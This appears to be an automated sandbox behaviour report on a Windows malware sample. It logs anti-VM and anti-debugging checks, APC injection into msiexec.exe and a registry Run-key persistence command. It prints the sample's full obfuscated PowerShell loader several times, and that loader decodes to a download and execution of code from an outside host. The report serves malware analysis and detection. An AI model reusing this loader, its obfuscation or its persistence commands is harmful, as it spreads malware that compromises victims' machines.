Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5223	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4657	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5895	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3846	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6820	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1336	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6624	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2424	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6488	Thread sleep count: 2942 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5896	Thread sleep count: 317 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5896	Thread sleep time: -951000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5896	Thread sleep count: 6082 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5896	Thread sleep time: -18246000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\SysWOW64\msiexec.exe

Thread sleep count: Count: 2942 delay: -5

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior

Source: powershell.exe, 00000004.00000002.1840757332.0000000004FF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $Gr$Hyper-V Time Synchronization Service
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicshutdown Hyper-V Guest Shutdown Service
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicheartbeat Hyper-V Heartbeat Service
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicvmsession Hyper-V PowerShell Direct Service
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Remote Desktop Virtualizati...
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicrdv Hyper-V Remote Desktop Virtualizati...
Source: powershell.exe, 00000004.00000002.1840757332.0000000004FF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $Gr$Hyper-V Volume Shadow Copy Requestorw
Source: svchost.exe, 00000007.00000002.2851581613.000001CBC265A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2851032335.000001CBBD02B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3380138371.0000000008B46000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3380138371.0000000008B24000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicguestinterface Hyper-V Guest Service Interface
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: #Hyper-V Remote Desktop Virtualizati
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Guest Shutdown Service
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Guest Service Interface
Source: powershell.exe, 00000004.00000002.1840757332.0000000004FF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $Gr-Hyper-V Remote Desktop Virtualization Service
Source: powershell.exe, 00000002.00000002.1021395761.0000014D0022B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1021395761.0000014D010DB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1840757332.0000000004FF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Heartbeat Service
Source: powershell.exe, 00000002.00000002.1021395761.0000014D0022B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1021395761.0000014D010DB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1840757332.0000000004FF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: powershell.exe, 00000004.00000002.1840757332.0000000004FF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V PowerShell Direct Service
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Data Exchange Service
Source: powershell.exe, 00000002.00000002.1021395761.0000014D0022B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1021395761.0000014D010DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $Hyper-V Time Synchronization Service
Source: powershell.exe, 00000002.00000002.1021395761.0000014D0022B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1021395761.0000014D010DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $Hyper-V Volume Shadow Copy Requestor
Source: powershell.exe, 00000004.00000002.1840757332.0000000004FF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmictimesync Hyper-V Time Synchronization Service
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Stopped vmicvss
Source: powershell.exe, 00000004.00000002.1840757332.0000000004FF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $Gr!Hyper-V PowerShell Direct Service{
Source: powershell.exe, 00000002.00000002.1021395761.0000014D0022B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1021395761.0000014D010DB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1840757332.0000000004FF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: powershell.exe, 00000002.00000002.1021395761.0000014D0022B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1021395761.0000014D010DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: !Hyper-V PowerShell Direct Service
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmicvss Hyper-V Volume Shadow Copy Requestor
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: BStopped vmickvpexchange Hyper-V Data Exchange Service
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Volume Shadow Copy Requestor
Source: powershell.exe, 00000002.00000002.1052748558.0000014D68D69000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWSo%SystemRoot%\system32\mswsock.dll = ,[ISByUsIt e m . C,o n.v eIr t.]D: :VFAraoVmMBKaGs ef6P4 S tRrDi.nTg ( $bFTedmSeDt,aRg e r sKh u saeAs,)');Studiefagets (Slede 'S$Kg LHo B a lS:AHdA VAe A BCLSEN O=F M[ S.y SetaeAM ..tAe xFT .REMnBcUO dTI n GS]L:C:Ha S,C i2 ?:
Source: powershell.exe, 00000002.00000002.1021395761.0000014D0022B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1021395761.0000014D010DB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1840757332.0000000004FF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: powershell.exe, 00000002.00000002.1021395761.0000014D0022B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1021395761.0000014D010DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: -Hyper-V Remote Desktop Virtualization Service
Source: powershell.exe, 00000004.00000002.1840757332.0000000004FF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat
Source: powershell.exe, 00000002.00000002.1021395761.0000014D01ADB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Time Synchronization Service

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 4_2_04D56EF0 LdrInitializeThunk,

4_2_04D56EF0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Early bird code injection technique detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe

Jump to behavior

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_6392.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6392, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6948, type: MEMORYSTR

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\msiexec.exe base: 4660000

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "Get-Service;$Bjrgningsfartjet='func';Get-History;$Bjrgningsfartjet+='t';Get-History;$Bjrgningsfartjet+='ion:';(ni -p $Bjrgningsfartjet -n Slede -value { param($Monastically);$Asherah229=1;do {$Specifikationsmetodikker+=$Monastically[$Asherah229];$Asherah229+=2} until(!$Monastically[$Asherah229])$Specifikationsmetodikker});ConvertTo-Html;(ni -p $Bjrgningsfartjet -n Studiefagets -value {param($Variabelerklringers);.($kvalt) ($Variabelerklringers)});ConvertTo-Html;$Sternocleidomastoid=Slede 'gnBE TH.NW';$Sternocleidomastoid+=Slede 'PE BPC LQiGe.N T';$bogklubbgers=Slede ' MNoszki lBlMa /';$Bottomers8=Slede 'VT,l s 1 2';$Fendillation=' [ nSe TU.SS EErtvSi c,E P O.i N.t mTaIn a.GBeBR.] : :GS EAC u r,I t Y p r OPTTO CDoClS= $ BPo TNtWO,m E.RSS 8';$bogklubbgers+=Slede ' 5C..0. S( W i n d,o wBsR NIT .1 0U..0.; UW ionC6F4V;S NxO6,4 ;K rPvF: 1T3P4.. 0A)D G eMc k.oM/,2R0A1,0 0,1 0E1 LFOi.rDe f oTx / 1,3P4u. 0';$Postventral=Slede 'SUAS E R -SaCg.E,NEt';$Spunshul=Slede 'IhStgt pa:L/D/Du dPiNrDeA. wEe,b pKg,.,i tR/ H,alr.mPognMi k a ejr nNe.. mAi x';$Putidness=Slede 'R>';$kvalt=Slede ' iUE.x';$Fluesnapperes='Opnaaende';$Undarkened='\Rdkindedes90.Par';Studiefagets (Slede ' $Dg.lSO.b,a.Ld:HD a TUa B EShUa NTDOlUeDS =k$ EAnAvN:MA PsP dDA Tea + $RuPn D AIrDKSE N ESd');Studiefagets (Slede 'S$Sg,l oABGa lB:,b o D e l S 1K0 3N=A$ sUP u.nMS.H u L,..s pBL IOt (S$ pCUGtUIVDpNKe s s,)');Studiefagets (Slede $Fendillation);$Spunshul=$Bodels103[0];$Perosmic=(Slede ' $pG.lOo bOA LB:MD i.F,tEEUR.INsA= nBEUwD-.o bRj,E cktF sTyLSNtVe mH.O$,S tFE,R,nSoSCFlnE ITd O M A s tIO I D');Studiefagets ($Perosmic);Studiefagets (Slede ' $ DBi fPtSe rIiPs .MH e aTd e rFs,[B$ ProdsAt v.eSnPt rSa lS] =A$ b o,gTkAl u.bfb gFeDrHs');$Storefronts=Slede ' $SDJi.fpt e r i s,..DsoBwAnSlToBa d FTi,lSe ( $KS p.uEnKsTh u l , $SD eDnui e rIeFn,sS)';$Denierens=$Databehandles;Studiefagets (Slede ' $MG.LJo BBaSlM:IGHrDAEfHi k.s ySsDt e m E t =O( TfE S t -APFa T HA A$,D e NFiDEPRCeSNMs )');while (!$Grafiksystemet) {Studiefagets (Slede 'B$IgPl o bRa lS:SU nSf a iSlGa bSlDy = $ SktCi nHkRe,t') ;Studiefagets $Storefronts;Studiefagets (Slede 'a[,t H r E asdSiPnNGS. T H R E a,d ] : :osAlTeSeSpV( 4T0 0P0 )');Studiefagets (Slede ' $ gvlIoEBEanL :,gDrFACfsiMK sDywS,T e,m eUTB=,( t E s TO-WPTa t HT O$ d E.NBI,EHr efNSS )') ;Studiefagets (Slede 'P$ gFlAo bAa lP:WPHE r I.p.nFE u MAOBn ISaS=U$EgOL.o b a lS:Np OHSRT NDaPt.a LRl y + + %S$ bHO dPe lDs.1b0D3 .JCUoDurNST') ;$Spunshul=$Bodels103[$Peripneumonia]}$Transcenderende=329225;$Ultrastructurally=28193;Studiefagets (Slede ' $ G.lAO bIa.l : FUE.MHEDt A gMe,rSS HDU s e sR P=C BG eITT-GCOo nKTBe n.TS B$DdDe,N ISEHrSEPNKs');Studiefagets (Slede '.$Sg.lSo bVaMl :FsStSeSgWe p aMnUd ePr n e sS = ,[ISByUsIt e m . C,o n.v eIr t.]D: :VFAraoVmMBKaGs ef6P4 S tRrDi.nTg ( $bFTedmSeDt,aRg e r sKh u saeAs,)');Studiefagets (Slede 'S$Kg LHo B a lS:AHdA VAe A BCLSEN O=F M[ S.y SetaeAM .	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Sorbed" /t REG_EXPAND_SZ /d "%Dalsnkningens% -windowstyle 1 $knobets=(gi 'HKCU:\Software\Nskeligeres117\').GetValue('Nskebarn');%Dalsnkningens% ($knobets)"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Sorbed" /t REG_EXPAND_SZ /d "%Dalsnkningens% -windowstyle 1 $knobets=(gi 'HKCU:\Software\Nskeligeres117\').GetValue('Nskebarn');%Dalsnkningens% ($knobets)"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "get-service;$bjrgningsfartjet='func';get-history;$bjrgningsfartjet+='t';get-history;$bjrgningsfartjet+='ion:';(ni -p $bjrgningsfartjet -n slede -value { param($monastically);$asherah229=1;do {$specifikationsmetodikker+=$monastically[$asherah229];$asherah229+=2} until(!$monastically[$asherah229])$specifikationsmetodikker});convertto-html;(ni -p $bjrgningsfartjet -n studiefagets -value {param($variabelerklringers);.($kvalt) ($variabelerklringers)});convertto-html;$sternocleidomastoid=slede 'gnbe th.nw';$sternocleidomastoid+=slede 'pe bpc lqige.n t';$bogklubbgers=slede ' mnoszki lblma /';$bottomers8=slede 'vt,l s 1 2';$fendillation=' [ nse tu.ss eertvsi c,e p o.i n.t mtain a.gbebr.] : :gs eac u r,i t y p r optto cdocls= $ bpo tntwo,m e.rss 8';$bogklubbgers+=slede ' 5c..0. s( w i n d,o wbsr nit .1 0u..0.; uw ionc6f4v;s nxo6,4 ;k rpvf: 1t3p4.. 0a)d g emc k.om/,2r0a1,0 0,1 0e1 lfoi.rde f otx / 1,3p4u. 0';$postventral=slede 'suas e r -sacg.e,net';$spunshul=slede 'ihstgt pa:l/d/du dpinrdea. wee,b pkg,.,i tr/ h,alr.mpognmi k a ejr nne.. mai x';$putidness=slede 'r>';$kvalt=slede ' iue.x';$fluesnapperes='opnaaende';$undarkened='\rdkindedes90.par';studiefagets (slede ' $dg.lso.b,a.ld:hd a tua b eshua ntdolueds =k$ eanavn:ma psp dda tea + $rupn d airdkse n esd');studiefagets (slede 's$sg,l oabga lb:,b o d e l s 1k0 3n=a$ sup u.nms.h u l,..s pbl iot (s$ pcugtuivdpnke s s,)');studiefagets (slede $fendillation);$spunshul=$bodels103[0];$perosmic=(slede ' $pg.loo boa lb:md i.f,teeur.insa= nbeuwd-.o brj,e cktf stylsntve mh.o$,s tfe,r,nsoscflne itd o m a s tio i d');studiefagets ($perosmic);studiefagets (slede ' $ dbi fptse riips .mh e atd e rfs,[b$ prodsat v.esnpt rsa ls] =a$ b o,gtkal u.bfb gfedrhs');$storefronts=slede ' $sdji.fpt e r i s,..dsobwansltoba d fti,lse ( $ks p.uenksth u l , $sd ednui e riefn,ss)';$denierens=$databehandles;studiefagets (slede ' $mg.ljo bbaslm:ighrdaefhi k.s yssdt e m e t =o( tfe s t -apfa t ha a$,d e nfideprcesnms )');while (!$grafiksystemet) {studiefagets (slede 'b$igpl o bra ls:su nsf a islga bsldy = $ sktci nhkre,t') ;studiefagets $storefronts;studiefagets (slede 'a[,t h r e asdsipnngs. t h r e a,d ] : :osaltesespv( 4t0 0p0 )');studiefagets (slede ' $ gvlioebeanl :,gdrfacfsimk sdyws,t e,m eutb=,( t e s to-wpta t ht o$ d e.nbi,ehr efnss )') ;studiefagets (slede 'p$ gflao baa lp:wphe r i.p.nfe u maobn isas=u$egol.o b a ls:np ohsrt ndapt.a lrl y + + %s$ bho dpe lds.1b0d3 .jcuodurnst') ;$spunshul=$bodels103[$peripneumonia]}$transcenderende=329225;$ultrastructurally=28193;studiefagets (slede ' $ g.lao bia.l : fue.mhedt a gme,rss hdu s e sr p=c bg eitt-gcoo nktbe n.ts b$ddde,n isehrsepnks');studiefagets (slede '.$sg.lso bvaml :fsstsesgwe p amnud epr n e ss = ,[isbyusit e m . c,o n.v eir t.]d: :vfaraovmmbkags ef6p4 s trrdi.ntg ( $bftedmsedt,arg e r skh u saeas,)');studiefagets (slede 's$kg lho b a ls:ahda vae a bclsen o=f m[ s.y setaeam .
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "get-service;$bjrgningsfartjet='func';get-history;$bjrgningsfartjet+='t';get-history;$bjrgningsfartjet+='ion:';(ni -p $bjrgningsfartjet -n slede -value { param($monastically);$asherah229=1;do {$specifikationsmetodikker+=$monastically[$asherah229];$asherah229+=2} until(!$monastically[$asherah229])$specifikationsmetodikker});convertto-html;(ni -p $bjrgningsfartjet -n studiefagets -value {param($variabelerklringers);.($kvalt) ($variabelerklringers)});convertto-html;$sternocleidomastoid=slede 'gnbe th.nw';$sternocleidomastoid+=slede 'pe bpc lqige.n t';$bogklubbgers=slede ' mnoszki lblma /';$bottomers8=slede 'vt,l s 1 2';$fendillation=' [ nse tu.ss eertvsi c,e p o.i n.t mtain a.gbebr.] : :gs eac u r,i t y p r optto cdocls= $ bpo tntwo,m e.rss 8';$bogklubbgers+=slede ' 5c..0. s( w i n d,o wbsr nit .1 0u..0.; uw ionc6f4v;s nxo6,4 ;k rpvf: 1t3p4.. 0a)d g emc k.om/,2r0a1,0 0,1 0e1 lfoi.rde f otx / 1,3p4u. 0';$postventral=slede 'suas e r -sacg.e,net';$spunshul=slede 'ihstgt pa:l/d/du dpinrdea. wee,b pkg,.,i tr/ h,alr.mpognmi k a ejr nne.. mai x';$putidness=slede 'r>';$kvalt=slede ' iue.x';$fluesnapperes='opnaaende';$undarkened='\rdkindedes90.par';studiefagets (slede ' $dg.lso.b,a.ld:hd a tua b eshua ntdolueds =k$ eanavn:ma psp dda tea + $rupn d airdkse n esd');studiefagets (slede 's$sg,l oabga lb:,b o d e l s 1k0 3n=a$ sup u.nms.h u l,..s pbl iot (s$ pcugtuivdpnke s s,)');studiefagets (slede $fendillation);$spunshul=$bodels103[0];$perosmic=(slede ' $pg.loo boa lb:md i.f,teeur.insa= nbeuwd-.o brj,e cktf stylsntve mh.o$,s tfe,r,nsoscflne itd o m a s tio i d');studiefagets ($perosmic);studiefagets (slede ' $ dbi fptse riips .mh e atd e rfs,[b$ prodsat v.esnpt rsa ls] =a$ b o,gtkal u.bfb gfedrhs');$storefronts=slede ' $sdji.fpt e r i s,..dsobwansltoba d fti,lse ( $ks p.uenksth u l , $sd ednui e riefn,ss)';$denierens=$databehandles;studiefagets (slede ' $mg.ljo bbaslm:ighrdaefhi k.s yssdt e m e t =o( tfe s t -apfa t ha a$,d e nfideprcesnms )');while (!$grafiksystemet) {studiefagets (slede 'b$igpl o bra ls:su nsf a islga bsldy = $ sktci nhkre,t') ;studiefagets $storefronts;studiefagets (slede 'a[,t h r e asdsipnngs. t h r e a,d ] : :osaltesespv( 4t0 0p0 )');studiefagets (slede ' $ gvlioebeanl :,gdrfacfsimk sdyws,t e,m eutb=,( t e s to-wpta t ht o$ d e.nbi,ehr efnss )') ;studiefagets (slede 'p$ gflao baa lp:wphe r i.p.nfe u maobn isas=u$egol.o b a ls:np ohsrt ndapt.a lrl y + + %s$ bho dpe lds.1b0d3 .jcuodurnst') ;$spunshul=$bodels103[$peripneumonia]}$transcenderende=329225;$ultrastructurally=28193;studiefagets (slede ' $ g.lao bia.l : fue.mhedt a gme,rss hdu s e sr p=c bg eitt-gcoo nktbe n.ts b$ddde,n isehrsepnks');studiefagets (slede '.$sg.lso bvaml :fsstsesgwe p amnud epr n e ss = ,[isbyusit e m . c,o n.v eir t.]d: :vfaraovmmbkags ef6p4 s trrdi.ntg ( $bftedmsedt,arg e r skh u saeas,)');studiefagets (slede 's$kg lho b a ls:ahda vae a bcl
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c reg add "hkcu\software\microsoft\windows\currentversion\run" /f /v "sorbed" /t reg_expand_sz /d "%dalsnkningens% -windowstyle 1 $knobets=(gi 'hkcu:\software\nskeligeres117\').getvalue('nskebarn');%dalsnkningens% ($knobets)"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "get-service;$bjrgningsfartjet='func';get-history;$bjrgningsfartjet+='t';get-history;$bjrgningsfartjet+='ion:';(ni -p $bjrgningsfartjet -n slede -value { param($monastically);$asherah229=1;do {$specifikationsmetodikker+=$monastically[$asherah229];$asherah229+=2} until(!$monastically[$asherah229])$specifikationsmetodikker});convertto-html;(ni -p $bjrgningsfartjet -n studiefagets -value {param($variabelerklringers);.($kvalt) ($variabelerklringers)});convertto-html;$sternocleidomastoid=slede 'gnbe th.nw';$sternocleidomastoid+=slede 'pe bpc lqige.n t';$bogklubbgers=slede ' mnoszki lblma /';$bottomers8=slede 'vt,l s 1 2';$fendillation=' [ nse tu.ss eertvsi c,e p o.i n.t mtain a.gbebr.] : :gs eac u r,i t y p r optto cdocls= $ bpo tntwo,m e.rss 8';$bogklubbgers+=slede ' 5c..0. s( w i n d,o wbsr nit .1 0u..0.; uw ionc6f4v;s nxo6,4 ;k rpvf: 1t3p4.. 0a)d g emc k.om/,2r0a1,0 0,1 0e1 lfoi.rde f otx / 1,3p4u. 0';$postventral=slede 'suas e r -sacg.e,net';$spunshul=slede 'ihstgt pa:l/d/du dpinrdea. wee,b pkg,.,i tr/ h,alr.mpognmi k a ejr nne.. mai x';$putidness=slede 'r>';$kvalt=slede ' iue.x';$fluesnapperes='opnaaende';$undarkened='\rdkindedes90.par';studiefagets (slede ' $dg.lso.b,a.ld:hd a tua b eshua ntdolueds =k$ eanavn:ma psp dda tea + $rupn d airdkse n esd');studiefagets (slede 's$sg,l oabga lb:,b o d e l s 1k0 3n=a$ sup u.nms.h u l,..s pbl iot (s$ pcugtuivdpnke s s,)');studiefagets (slede $fendillation);$spunshul=$bodels103[0];$perosmic=(slede ' $pg.loo boa lb:md i.f,teeur.insa= nbeuwd-.o brj,e cktf stylsntve mh.o$,s tfe,r,nsoscflne itd o m a s tio i d');studiefagets ($perosmic);studiefagets (slede ' $ dbi fptse riips .mh e atd e rfs,[b$ prodsat v.esnpt rsa ls] =a$ b o,gtkal u.bfb gfedrhs');$storefronts=slede ' $sdji.fpt e r i s,..dsobwansltoba d fti,lse ( $ks p.uenksth u l , $sd ednui e riefn,ss)';$denierens=$databehandles;studiefagets (slede ' 